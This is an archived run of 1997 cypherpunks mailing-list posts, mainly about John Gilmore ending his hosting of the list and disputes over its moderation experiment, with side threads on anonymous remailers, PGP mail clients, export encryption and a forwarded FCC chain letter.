Message-ID: <199702111340.FAA18604@toad.com> Sandy hit a pothole in the moderation experiment when Mr. Nemesis submitted a posting containing nothing but libelous statements about Sandy's employer. He never anticipated that he wouldn't be able to follow his announced "post it to one list or the other" policy because to do so would make him legally liable (in his opinion; he's a lawyer, I'm not). His gears jammed, and the whole machine came to a halt for a few days. Sandy has agreed to continue moderation through the end of the original 1-month experiment (through Feb 19). And it's a good thing, too, because the "cypherpunks community" had better get off its whining butt in the next ten days, or it will no longer exist. I've come to the conclusion that I'm not willing to host the cypherpunks list any more. It's not the true assholes that brought me to this decision; it's the reaction from the bulk of people on the list: suspicion, flamage, and criticism with every attempt to improve things. I noticed few people volunteering some of their own time, money, or machines to help out. Almost all the suggestions were advice for *other* people to implement: One would have thought that had Sandy and John really been interested in hearing the views of list members, this approach would have eventually won out. a supposedly libertarian and anarchistic group of people has decided that censorship is the right solution to their problems. I'd prefer for the cypherpunks _name_ not be associated with a moderated/censored list. (I mean no insult to either Sandy or John in this, BTW... I simply think that they've gone about this the wrong way. If one is going to advocate free speech, I strongly suggest one learns to deal with one's own greed and one's own need for power first. For those who want it, let someone moderate the list for as long as they care to do it. Approved messages get a "X-sandy-approved" header. ... the vast majority are still shipped out as 'Sender: owner-cypherpunks at toad.com' (and the 'Received' chain as I pointed out in my original post). to me that is piss poor list management. however you slice it, censorship on a freedom of speech list just does not make it and we make fools of ourselves if we think otherwise. Now each of these posters will get their chance to do it "right" -- on their own time and with their own resources. A large fraction of the list seems to think that "freedom of speech" means that everyone is required to listen to everyone else at all times. That there can't be focused, topical conversations in a society that has freedom of speech. I would say the opposite; part of freedom of speech is the freedom to choose to whom we speak and to whom we listen. This is part of what cryptography does: lets us control who can receive our speech, and lets recievers determine who the speaker is. There also seems to be a misunderstanding that freedom of speech requires that people who want to speak already have a place, set up and maintained by someone else, for them to speak in. If someone who's set up a speech-place decides it isn't being used for its intended purpose, then they are a censor, stopping all possibility of conversations. Did you forget that there are millions of other places to speak in cyberspace, millions more in realspace, and that you can personally create more if you don't like any of the ones you know about? To paraphrase Zappa, you wouldn't know censorship if it bit you on the ass. You think you're being censored when you're just being excluded from a forum because what you're saying isn't interesting to that forum. So anyway, I'm tired of it all. I'd much rather focus on getting my crypto work done than babysitting majordomo, tracking down attempts to subscribe the entire US Congress to the list, and debating the seventy or eighty "obvious right ways" to handle the list. This is a "put up or shut up" to the cypherpunks community. Either you list denizens will, among yourselves, put in the energy to build a new home for the list (and run it in whatever way your volunteers want) by Feb 20, or the list will cease to exist on Feb 20. The next ten days of moderated discussion, through the end of the original experiment, will give the community a chance to discuss whether and where it plans to host the list after the experiment is over. My feeling is that the stalkers who have been trying to shut it down (Dimitri, etc) will be out in full force, trying to disrupt the process of finding a new home. It would be very hard to make progress along that line in an unmoderated list. Cypherpunks-unedited readers are welcome to try. Sandy reports that he's changing his criteria for moderation for the remainder of the experiment. It was his idea, and I approve. The criteria now are: * The topics of the list are: cryptography setting up replacements for cypherpunks at toad.com * On-topic, legal, posts will go to the list. * Postings with any hint of legal liability (in Sandy's opinion) will be silently ignored. * Legal but off-topic posts will go to cypherpunks-flames. Sandy will apply these criteria retroactively to the backlog (of about 140 messages), which means that most recent criticisms of the moderation (which don't invove someone volunteering to do things for the list) will go straight to the flames list. If you don't like it, I recommend that you start your own list. Soon. For me it's a sad thing that the community's willingness to pull together has degenerated to the point where I feel better off separating from the list. I hope that others in the community will create one or several alternatives that work better. John Gilmore From jsears at lsbsdi2.lightspeed.net Tue Feb 11 05:55:52 1997 From: jsears at lsbsdi2.lightspeed.net (James Sears) Date: Tue, 11 Feb 1997 05:55:52 -0800 (PST) Subject: hello Message-ID: <199702111355.FAA18854@toad.com> unscribe From larry at ljl.com Tue Feb 11 05:56:00 1997 From: larry at ljl.com (Larry Layten) Date: Tue, 11 Feb 1997 05:56:00 -0800 (PST) Subject: Encrypted filing of patents sans GAK? Message-ID: <199702111356.FAA18866@toad.com> In all that I have read or heard, I have only seen Key Recovery techniques in reference to encryption. I don't believe that anyone thinks that Key Recovery is applicable to digital signatures. Any well designed system provides for separate keys for encryption and signature anyway. The application of digital signatures is often considered to be a part of encryption, but encryption should never be considered part of a digital signature process. The two are really completely different processes with different purposes and ramifications. Larry From dthorn at gte.net Tue Feb 11 05:56:07 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 05:56:07 -0800 (PST) Subject: What else do I need for an Internet Server Message-ID: <199702111356.FAA18876@toad.com> Otto Matic wrote: > What else do I need for an internet server? > HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high > speed hard drives. These are the Tall Towers that have multiple > drives, these are server towers. > I think I have a router Hub. And a couple LAN cards. > That's all I have. But I just got them, and I want to use them. I assume I > will be using some kind of UNIX software. HP does some strange things to their BIOS software - you may want to get one of those net analyzer tools and some low-level software that can monitor what your HP's are sending and receiving, just in case. They don't normally use Vectras for UNIX, so what effects you can expect, I don't know. From sandfort at crl.com Tue Feb 11 05:56:13 1997 From: sandfort at crl.com (Sandy Sandfort) Date: Tue, 11 Feb 1997 05:56:13 -0800 (PST) Subject: Moderation experiment almost over; "put up or shut up" In-Reply-To: <199702111154.DAA16237@toad.com> Message-ID: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SANDY SANDFORT . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . C'punks, You have probably just read John's post. I truly hope YOU (each and every one of you) can rise to his challenge. If you have offered nothing in the past but criticism, it's now time to get a bit more real. What will it be, your money, time, equipment? I would hope that the loudest advocates of "free speech" turn out to be the most generous, but I'm not holding my breath. Maybe the solution(s) will come from you lurkers. I hope you can put down your beer long enough to get involved. Finally, if anyone wants to discuss why the Cypherpunk list has come to this, or what I did right or wrong as a moderator, let's talk about--on the new list(s) YOU create. For now, though, it's off-topic. We have work to do. S a n d y P.S. To all those people who privately supported me in my attempt to help the list deal with its problems, thank you. I wouldn't have come back without your and John's encouragement. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From tcmay at got.net Tue Feb 11 05:56:14 1997 From: tcmay at got.net (Timothy C. May) Date: Tue, 11 Feb 1997 05:56:14 -0800 (PST) Subject: META: Censorship is Going Way too Far Message-ID: <199702111356.FAA18896@toad.com> Fellow Cypherpunks (of the virtual community, even if not part of any particular version of the list(s)), I am about to drive over the Santa Cruz mountains for today's physical meeting at Stanford, and made my last check of the Singapore archive site to see if my last several messages to the CP list have appeared. (The Singapore site archives the main list every four hours; the latest update is 08:15 PST, local time.) They have _not_ appeared, on either of the two lists, the main list and filtered list. I don't know if they have appeared on the "unfiltered" list, as I don't have access to an archive site for that, and don't subscribe to it. Some of these articles are now more than 18 hours old. (I scanned the archive site carefully and did not see any of my articles. If I somehow missed them (all four?!), I apologize to the Moderator and will make an appointment with my eye doctor.) Further, messages dated _much_ later in time are now on the Singapore site, meaning they were "approved." (The latest such message I see is from J. Blatz, and is dated 2/8/97, 02:58 a.m., EST, which is fully 10 hours after the first of my messages which never appeared on either the main list or the flames list.) My articles are dated: * 2/7/97, 1:46 p.m. PST * 2/7/97, 1:59 p.m., PST * 2/7/97, 3:03 p.m., PST * 2/7/97, 9:46 p.m., PST I would normally give the message names here, but I suspect that even mention of the message titles would cause _this_ message to be filtered into the black hole list. So, by avoiding even mention of the message titles, I should be safe. Nothing in this message can be considered flamish (beyond normal criticism) or libelous. (Many articles with dates later than these have already appeared on the main list, and some have already appeared on the Flames list. Why have none of my articles gone through as of this morning?) The subjects of my articles deal with the claims made by "Against Moderation" and Vulis that certain articles were filtered from the stream of articles without appearing on either the main list or the flames list, and with no mention by the Moderator of this significant change to the moderation policies. I surmise that my articles are similarly vanishing into a black hole, presumably because I have questioned the policies here. (Possibly my articles have been side-tracked for further review, or for review by a certain company's legal staff, or whatever. If so, this should be explained to the main list. And the implications of this, if it is happening, should be discussed on the main list.) By the way, I will deliberately make no mention of the details of my articles, or of those by Against Moderation, as I also surmise that any articles dealing with a certain product by a certain company will be filtered out completely. (I carefully did not repeat the claims made against one of these products in my articles, so there is no way under the sun I can be charged in any court with "libel.") To paraphrase the Detweiler of a couple of years ago, "I am quite shocked by this situation." It is one thing to filter out posts which contain infantile, barnyard taunts and insults, it is quite another to filter out _content_. And it is even worse to not pass on these filtered comments to the "flames" list, which was putatively set up to contain such comments. Worse still that the list as a whole is not being told of this policy, and that posts which mention it are not going out. (There has been some discussion of articles not going out, such as in Igor Chudov's recent articles, but I surmise from his article that Igor is unaware of the filtering I'm talking about here. I am copying Igor on this message, to ensure he knows at least part of what is going on here.) There is no justification in any of the stated moderation goals for blocking articles such as mine, or this one. As my posts yesterday did not contain flames or insults (beyond normal minor turns of phrase some might not like, just as _this_ post contains mildly flamish comments if one is so inclined to see _any_ criticism as flamish), they should have appeared on the main list. They have not, so far, even though articles generated many hours later have already appeared on the main list. And, as of minutes ago, they have not appeared on the Flames list, even if the Moderator decided they were flamish. (Even if _one_ was, arguably, not all of them were.) So, we are increasingly in a situation where: a. the moderation policies appear to be changing on a daily basis b. articles which are not even flamish are being dumped c. some of these dumped articles are not even appearing on the "Flames" list d. the appearance of a conflict of interest is increasing e. discussion is being squelched I am cc:ing this message to a handful of Cypherpunks to ensure that it gets some propagation before today's meeting. I find it very sad that things have come to this. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From dlv at bwalk.dm.com Tue Feb 11 05:56:14 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 11 Feb 1997 05:56:14 -0800 (PST) Subject: remailer-operators DEA agents? Message-ID: <199702111356.FAA18897@toad.com> Sandy the C2Net Censor tossed the following question to flames: Secret Squirrel writes: > Dr.Dimitri Vulis KOTM wrote: > > c.musselman at internetmci.com (Charley Musselman) writes: > > > C'punks -- > > > When I told a friend about the alt.drugs.pot cultivation newsgroup > > > and suggested that he use an anonymous remailer to post to the group, > > > he laughed and said, "Who do you suppose runs the remailers? ATF, > > > FBI, DEA, that's who!" Gee, it makes sense to this paranoid. Does > > > anyone know the answer? Specifically, how can we choose a trusted > > > remailer? > > > > Even if the feds are not directtly involved, the so-called "cypher punk" > > remailers are run by people who should not be trusted. Check out their > > remailer-operators list: it's full of announcements that some specific > > person posted something via the remailer that the operator didn't like. > > Examples, please? Plenty. There was a whole thread about the operator of the defunct lead remailer disclosing his users' identities. Here's a recent one: ]Received: from get.wired.com (HELO wired.com) (204.62.131.5) ] by anon.lcs.mit.edu with SMTP; 6 Feb 1997 23:37:35 -0000 ]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id PAA09050; Thu, 6 Feb 1997 15:37:34 -0800 (PST) ]Message-Id: <3.0.32.19970206160603.0086acb0 at get.hotwired.com> ]X-Sender: toxic at get.hotwired.com ]X-Mailer: Windows Eudora Pro Version 3.0 (32) ]Date: Thu, 06 Feb 1997 16:06:04 -0800 ]To: remailer-operators at anon.lcs.mit.edu ]From: Jeff Burchell ]Subject: Commercial SPAM from ClaritaInc at aol.com ]Mime-Version: 1.0 ]Content-Type: text/plain; charset="us-ascii" ] ] ]Tofu trapped a bunch of shit coming from ClaritaInc at aol.com. They're ]posting to usenet, advertising things for sale (Including a $10 pamphlet ]explaining how to send anonymous internet email, and the standard ]make.money.fast chainletter scheme) ] ]I've source blocked them, I suggest you do the same. ] ]-Jeff Jeff also said the following, which seems to contradict the above: ]Delivered-To: remailer-operators at anon.lcs.mit.edu ]Received: from get.wired.com (HELO wired.com) (204.62.131.5) ] by anon.lcs.mit.edu with SMTP; 7 Feb 1997 01:17:48 -0000 ]Received: from avenger.hotwired.com (avenger.hotwired.com [206.221.193.5]) by wired.com (8.7.6/8.7.3) with SMTP id RAA26127; Thu, 6 Feb 1997 17:17:47 -0800 (PST) ]Message-Id: <3.0.32.19970206174616.0086c8e0 at get.hotwired.com> ]X-Sender: toxic at get.hotwired.com ]X-Mailer: Windows Eudora Pro Version 3.0 (32) ]Date: Thu, 06 Feb 1997 17:46:16 -0800 ]To: remailer-operators at anon.lcs.mit.edu ]From: Jeff Burchell ]Subject: Useage Policy. ]Mime-Version: 1.0 ]Content-Type: text/plain; charset="iso-8859-1" ]Content-Transfer-Encoding: quoted-printable ] ] ]I'm in the process of setting up an autoresponder on the ]abuse at mailmasher.com address. I'd appreciate people's feedback to this ]autoresponder message, and the policies that it describes... ] ] ]Hi. This is in regards to a letter you sent to abuse at mailmasher.com. I ]hate autoresponders too, but I=92ve found that this is a special case and is ]probably warranted. ]I=92ve been running anonymous services for a couple of years now, and have ]answered thousands of pieces of email regarding MailMasher users. Please ]take my word on this one, you really need to at least skim the rest of this ]message. ] ]I will read your email, I promise. However, if your email can be answered ]by something that is contained in THIS message, I won=92t respond to it. ]Sorry. I run MailMasher as sort of a hobby, while holding down a dayjob ]and I really don=92t have time to answer all mail personally. ] ]And now on to the important stuff=85 ] ]First, the answer to the most frequently asked MailMasher question=85 If a ]user of the MailMasher is Harassing or otherwise bothering you, it can be ]stopped. Send a blank message to blockme at mailmasher.com. Your email ]address will be added to a list of addresses that MailMasher will refuse to ]mail to, and you=92ll never get anything from here again. ] ]MailMasher is an anonymous service. This means that even I don=92t know who ]is using it. Any internet user can use a web interface to create an ]anonymous MailMasher email account. I don=92t ask them who they are, and my ]machine doesn=92t keeps logs that could be used to identify users. So ]please, don=92t ask me to identify a user. I can=92t do it.=20 ] ]I also don=92t filter anything for content. Several years ago, in what has ]now come to be known as the Prodigy case (Stratton-Oakmont & Porush v. ]Prodigy. Details at ]http://www.eff.org/pub/Legal/Cases/Stratton_Oakmont_Porush_v_Prodigy ) A ]legal standard was set. Basically, if a service provider deletes posts, ]intercepts emails or otherwise tries to exercise editorial control over any ]of its users, then the service provider can be held responsible for ALL of ]the content that goes through the service. MailMasher transfers around ]10,000 messages a day. It is impossible for me to monitor traffic like ]that. Therefore, I do not even know what most MailMasher users are using ]their accounts for. It really isn=92t any of my business, and because I ]don=92t make it my business, legally, I can=92t be held responsible for the ]actions of MailMasher users. ] ]I also don=92t delete accounts. Because, when I delete an account, the user ]can always come right back and create another one with a different address. ] If someone is going to be behaving badly on the Internet, I for one would ]prefer that they always do it from the same email address, so I can just ]add them to my killfile or email filters. ] ]So, to summarize: ] ]1. I intentionally have made it impossible for anyone, including myself to ]determine the identities of MailMasher users. ]2. I will not under any circumstances monitor a user or delete an account. ]3. I will make a good faith effort to keep you from being bothered by ]MailMasher users, through the use of a destination block filter. ]4. I neither condone nor condemn any action taken by any MailMasher user, ]either in conjunction with their MailMasher use or not. ] ]So=85 you ask, Why would I want to run a service that lets the spammers, an= ]d ]the porn freaks, and the warez kiddies do their thing? The answer is ]simple: because it also allows for much much more. A MailMasher user can ]communicate without repercussions to people all over the world. I have ]received many thank-yous from users sometimes explaining what they used my ]service for. There are people in certain countries who have a very ]legitimate fear of speaking out, who use this and other anonymous services ]to communicate with the U.S. Countless people have used anonymous services ]to very openly discuss items that are considered secret to certain members ]of the Church of Scientology. Victims of all sorts of abuse can speak ]truly anonymously (sometimes for the first time). Even abusers can speak ]freely, which helps with recovery. ]It is for these examples that I run this service. I think a little noise ]and junk is a small price to pay for all of this. You take the good with ]the bad. ] ]This is free speech in one of its most raw forms, staring you in the face. ]You may not like it; It may offend you; It might even encourage illegal ]behavior, but it is speech, and in the United States, it is protected by ]the Constitution. =20 ] ]Thank you for your time. If you=92d like to contact me again, without ]tripping this autoresponder, send mail to remailer-admin at mailmasher.com. ] ]-Jeff Burchell, MailMasher Admin ] --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From dlv at bwalk.dm.com Tue Feb 11 05:56:35 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 11 Feb 1997 05:56:35 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702111356.FAA18918@toad.com> Mike Duvos writes: > SANDY SANDFORT sez: > > > On Fri, 7 Feb 1997, Mike Duvos wrote: > > > > ...Messages apparently do not get moderated in the order in > > > which they are received... > > > All messages are filtered and posted in the order in which I > > receive them. > > That's all very nice, but I should point out that I have not yet > seen my message to which you are responding on the filtered list. Also not "all" messages are posted. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From 2ndSun at bigfoot.com Tue Feb 11 06:10:50 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:10:50 -0800 (PST) Subject: Junk e-mails Message-ID: <199702111410.GAA19177@toad.com> I'm receiving a bunch of inane e-mails from your domain. Could you please put a stop to it? It's coming to all of my e-mail addresses, including the one below. 2ndSun at bigfoot.com------------------------------------------------- ---------------------------------------Learning to Remember the Future---http://www.geocities.com/HotSprings/5335 From EALLENSMITH at ocelot.Rutgers.EDU Tue Feb 11 06:10:54 1997 From: EALLENSMITH at ocelot.Rutgers.EDU (E. Allen Smith) Date: Tue, 11 Feb 1997 06:10:54 -0800 (PST) Subject: MODERATION Message-ID: <199702111410.GAA19191@toad.com> While I ultimately concluded it (or at least the manner of doing it) was a bad idea, I am appreciative of the effort. I hope this won't discourage you too much from trying out other (hopefully better) ideas. -Allen From pagre at weber.ucsd.edu Tue Feb 11 06:10:57 1997 From: pagre at weber.ucsd.edu (Phil Agre) Date: Tue, 11 Feb 1997 06:10:57 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden Message-ID: <199702111410.GAA19204@toad.com> You have plenty of choice. If you don't like our country, move somewhere else. Phil From bdolan at USIT.NET Tue Feb 11 06:10:59 1997 From: bdolan at USIT.NET (Brad Dolan) Date: Tue, 11 Feb 1997 06:10:59 -0800 (PST) Subject: RRE: Proposed satellite monitoring of car movements in Sweden Message-ID: <199702111410.GAA19213@toad.com> "Love it or leave it?" bd On Sun, 9 Feb 1997, Phil Agre wrote: > You have plenty of choice. If you don't like our country, move somewhere > else. > > Phil > From lutz at as-node.jena.thur.de Tue Feb 11 06:11:03 1997 From: lutz at as-node.jena.thur.de (Lutz Donnerhacke) Date: Tue, 11 Feb 1997 06:11:03 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702111411.GAA19227@toad.com> * Ed Falk wrote: > Can't remailers be written with basic spam safeguards? I.e. no mass > crossposts, limited # of posts by each individual client per day, etc.? Yes, thay can, but using PGP is enough to filter out the majority of spammers. -- | Lutz Donnerhacke +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax | From lutz at as-node.jena.thur.de Tue Feb 11 06:11:07 1997 From: lutz at as-node.jena.thur.de (Lutz Donnerhacke) Date: Tue, 11 Feb 1997 06:11:07 -0800 (PST) Subject: lead remailer is shut down Message-ID: <199702111411.GAA19235@toad.com> * Ed Falk wrote: > Can't remailers be written with basic spam safeguards? I.e. no mass > crossposts, limited # of posts by each individual client per day, etc.? Yes, thay can, but using PGP is enough to filter out the majority of spammers. -- | Lutz Donnerhacke +49/3641/380259 voice, -60 ISDN, -61 V.34 und Fax | From dlv at bwalk.dm.com Tue Feb 11 06:11:12 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 11 Feb 1997 06:11:12 -0800 (PST) Subject: My messages not appearing on either of the lists? Message-ID: <199702111411.GAA19244@toad.com> "Vladimir Z. Nuri" writes: > >(It is true that Vulis uses the phrase "Limey faggots," in reference to > >beer-serving habits, but he does not directly insult any list members with > >this phrase. If Sandy is calling this phrase a flame, then Cypherpunks will > >be blocked from their usual characterizations of Congresscritters and NSA > >stooges.) > > TCM defending Vulis, I think I've died and am in some strange > dreamworld. hehehehe I actually liked most of what TCM wrote (even when not crypto-relevant) and find myself missing his essays. He was wrong to start flaming me for no reason and to attribute to me stuff I never said; but we all make mistakes and can get over them. Saying bullshit about people (like Tim saying bullshit about me and me saying bullshit about people) is one thing; it can be fun, or it can be annoying when taken to extremes; but I've never sought to silence Tim, and have no hard evidence that he tried to silence anyone. P.S. CMEPTb COBKAM! --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From frogfarm at yakko.cs.wmich.edu Tue Feb 11 06:11:22 1997 From: frogfarm at yakko.cs.wmich.edu (Damaged Justice) Date: Tue, 11 Feb 1997 06:11:22 -0800 (PST) Subject: Humor in the oddest places... Message-ID: <199702111411.GAA19265@toad.com> The February issue of the _Pinky and the Brain_ comic, based on the animated television show of two lab mice constantly foiled in their plans to take over the world, has a main story entitled "Mission: Unpinkable". Our heroes intercept a stray piece of microfilm and accept the mission to steal Microstomp's "prototype Internet computer control chip, the 1286 GAK", with Brain plotting to reprogram the chip so that... "When the program is introduced on the Internet, every connected CPU across the globe will download ME! My personality matrix will soon control every computer in the world!" Naturally, the plan goes awry. One wonders if the writers have been following the "key escrow" debate here on Cpunks. -- Explain to me, slowly and carefully, why if person A, when screwed over on a deal by B, is morally obligated to consult, pay, and defer to, person C for the purpose of seeing justice done, and why person C has any legitimate gripe if A just hauls off and smacks B around like a dead carp. (Michael Schneider) From ott0matic at hotmail.com Tue Feb 11 06:11:29 1997 From: ott0matic at hotmail.com (Otto Matic) Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST) Subject: What else do I need for an Internet Server Message-ID: <199702111411.GAA19289@toad.com> >Otto Matic wrote: >> What else do I need for an internet server? >> HP Vectra Towers 2 each 486 cyrex chips 50 meg processor Need high >> speed hard drives. These are the Tall Towers that have multiple >> drives, these are server towers. >> I think I have a router Hub. And a couple LAN cards. >> That's all I have. But I just got them, and I want to use them. I assume I >> will be using some kind of UNIX software. > >HP does some strange things to their BIOS software - you may want to >get one of those net analyzer tools and some low-level software that >can monitor what your HP's are sending and receiving, just in case. > >They don't normally use Vectras for UNIX, so what effects you can >expect, I don't know. > Dale, Thanks for your reply. Really I'm not sure about UNIX, I was just guessing. What I really need is a B.O.M (bill of materials). What other 'hardware' will I need to round up in order to get this server up and running. Thanks: otto =-=-=-=-=- Otto Matic "Fuckin' A, Miller!" Bud, Repo Man --------------------------------------------------------- Get Your *Web-Based* Free Email at http://www.hotmail.com --------------------------------------------------------- From 2ndSun at bigfoot.com Tue Feb 11 06:11:29 1997 From: 2ndSun at bigfoot.com (Jerry Basham) Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST) Subject: Internet Alert! Pay for local dial-up?? Message-ID: <199702111411.GAA19287@toad.com> Take me off your list or I will complain to your isp. ---------- > From: Dale Thorn > To: freedom-knights at jetcafe.org; cypherpunks at toad.com > Cc: E-Mail Communications > Subject: Re: Internet Alert! Pay for local dial-up?? > Date: Saturday, February 08, 1997 11:09 AM > > E-Mail Communications wrote: > > > See our "Patriotic Quotes That Make Sense" > > at the end of this publication. > > > "We will always remember. We will always be proud. We will > > always be prepared, so we may always be free." > > -- President Ronald W. Reagan June 6, 1984 - Normandy, France > > What Ronald Reagan didn't say (but what he really meant): > > "I come here to Bitburg to honor the fallen Nazis, because I am in > fact an honorary Nazi myself. Just ask my personal secretary Helen, > who used to work for Fritz Kraemer." > From dthorn at gte.net Tue Feb 11 06:11:29 1997 From: dthorn at gte.net (Dale Thorn) Date: Tue, 11 Feb 1997 06:11:29 -0800 (PST) Subject: POST: The Frightening Dangers of Moderation Message-ID: <199702111411.GAA19288@toad.com> Jerry Basham wrote: > Ok...this is the fourth junk e-mail I've received that I don't want. Your > account is in jeapordy, and my advice is for you to just stop sending me > this junk. Take me off your e-mail list, NOW. > If this e-mail from me, being mad at you, is what makes you happy, and is > how you have fun, then you just have a personal problem and I feel sorry > for you. > Do what you can to heal yourself...meanwhile, don't send me anymore...your > isp provider is next on my e-mail list. Jerry, my provider is GTE, and if you think you can make a dent in them, go ahead and butt your head against the wall. No sweat offa my ass. OTOH, if you stop bitching and groaning long enough to figure out who is doing the remailing etc., then you'll be miles ahead. I'm not optimistic. From ios at idirect.com Tue Feb 11 06:11:30 1997 From: ios at idirect.com (IconOfSin) Date: Tue, 11 Feb 1997 06:11:30 -0800 (PST) Subject: Fw: Internet Alert! Pay for local dial-up?? Message-ID: <199702111411.GAA19295@toad.com> ---------- > From: E-Mail Communications > To: you at alberta.sallynet.com > Subject: Internet Alert! Pay for local dial-up?? > Date: Saturday, February 08, 1997 7:09 PM > > > ***************************************** > > INTERNET USERS ALERT!!! It has come to our attention that several > local telephone companies have petitioned the FCC for permission > to charge Internet Users by the minute for LOCAL dial-up telephone > service. This would affect every Internet User, including those > using AOL dial-up. > > For more information, see the FCC site: http://www.fcc.gov/isp.htm. > Please send an E-Mail to isp at fcc.gov > to express your outrage at the idea of allowing telephone companies > to charge by the minute for LOCAL dial-up service. E-Mail comments > must be sent by Feb. 13th, 1997. This affects every Internet user!! The question is.... "what can *WE* do. IconOfSin Fly DALnet! /server irc.dal.net 7000 Msg IconOfSin :) From whgiii at amaranth.com Tue Feb 11 06:11:34 1997 From: whgiii at amaranth.com (William H. Geiger III) Date: Tue, 11 Feb 1997 06:11:34 -0800 (PST) Subject: META: Censorship is Going Way too Far Message-ID: <199702111411.GAA19308@toad.com> -----BEGIN PGP SIGNED MESSAGE----- In , on 02/08/97 at 11:22 AM, "Timothy C. May" said: >They have _not_ appeared, on either of the two lists, the main list and >filtered list. I don't know if they have appeared on the "unfiltered" list, as >I don't have access to an archive site for that, and don't subscribe to it. >Some of these articles are now more than 18 hours old. Hi Tim, All 4 of your post made it to the unfiltered list. I don't know what made it to the moderated/flam list as I had switched to the unmoderated list yesterday morning. - -- - ----------------------------------------------------------- William H. Geiger III http://www.amaranth.com/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. Finger whgiii at amaranth.com for PGP Key and other info - ----------------------------------------------------------- Tag-O-Matic: You're throwing it all out the Windows! -----BEGIN PGP SIGNATURE----- Version: 2.6.2 Comment: Registered User E-Secure v1.1 0000000 iQCVAwUBMvy70Y9Co1n+aLhhAQEJLAP+PfEKyvsLsqNWAnNYKt628w2PUtfIOxiR H0La2l3tOX6eyXNiQFtmhQA7czJOm2FxMQOwagkA9qQcaJAj6vOiRfA6vganHmVY VBFEfKQxSaSLov4cjZYyK5e1uWWrsJnU+irZyXDXXBxk8P4rA1kvwGChMPpJmeIK eybgP/vYvz8= =1brw -----END PGP SIGNATURE----- From jimbell at pacifier.com Tue Feb 11 06:11:37 1997 From: jimbell at pacifier.com (jim bell) Date: Tue, 11 Feb 1997 06:11:37 -0800 (PST) Subject: Enlightened commentary on Netizen. Message-ID: <199702111411.GAA19315@toad.com> At 08:41 PM 2/6/97 -0800, Anil Das wrote: >First, Rebecca Vesely has a special report, the main thrust >of which is that three firms being allowed to export 56 bit >encryption indicates flexibility on the part of the >government. >http://www.netizen.com/netizen/97/05/special2a.html >To top it off, here are two gems from the followup discussion. >http://www.netizen.com/cgi-bin/interact/replies_all?msg.37387 > >2. 56 ONLY A SLIGHTLY SMALLER JOKE > Ric Allan (ricrok) on Wed, 5 Feb 97 11:53 PST > > If it takes a college student four hours to break > a 40bit code it should take him/her about six > hours to do the same to 56bits. Then what excuses > are the government and its butt-kissing companies > going to give us for not allowing *real* coding? Ironically, we (the good guys) are going to be the beneficiaries of an ignorant public, for a change! We all know that difficulty is not linear with bit-size, but hearing that "40 bits is crackable in four hours!" will be interpreted by non-technical people as a strong level of suspicion directed at DES as well. Jim Bell jimbell at pacifier.com From isp at fcc.gov Tue Feb 11 06:11:40 1997 From: isp at fcc.gov (Reply to) Date: Tue, 11 Feb 1997 06:11:40 -0800 (PST) Subject: FCC may impose per minute charges on internet Message-ID: <199702111411.GAA19324@toad.com> >> >>I am writing you this to inform you of a very important matter currently >>under review by the FCC. Your local telephone company has filed a >>proposal with the FCC to impose per minute charges for your internet >>service. They contend that your usage has or will hinder the operation >>of the telephone network. >> >>It is my belief that internet usage will diminish if users were required >>to pay additional per minute charges. The FCC has created an email box >>for your comments, responses must be received by February 13, 1997. Send >>your comments to isp at fcc.gov and tell them what you think. >> >>Please forward this email to all your friends on the internet so all our >>voices may be heard. >> >>Thanks for your time, >> >>Brian >> >>______________________________________________________________________________ From jchou at cgl.ucsf.EDU Tue Feb 11 06:11:43 1997 From: jchou at cgl.ucsf.EDU (Joe Chou) Date: Tue, 11 Feb 1997 06:11:43 -0800 (PST) Subject: Waiting for Mac version [was Re: Full strength Email Clients] Message-ID: <199702111411.GAA19343@toad.com> -----BEGIN PGP SIGNED MESSAGE----- >Meanwhile, a beta version of "Pretty Safe Mail" > is available from >Highware in Belgium. It's PGP compatible, and its user interface is a >great leap forward from any Mac PGP front end I've seen. But, it still has >some deficiencies, it's very slow (25 seconds to sign this message on a 25 >MHz 68040 vs. 4 seconds for ViaCrypt PGP 2.7.1), and (as was recently >discussed on a couple of these lists) its source code hasn't been published >or externally audited. I've been testing Pretty Safe Mail on 68k and PPC platforms, and I completely agree with you for the 68040 slowness. But on a Powermac 7600 (604/120Mhz), it took less than 3 seconds to sign the same document. Highware claims that a faster 68k is in the works. They've offereed to have PSM externally audited, but I haven't heard of any volunteers. Joe -----BEGIN PGP SIGNATURE----- Version: 2.6.2, by Pretty Safe Mail 1.0 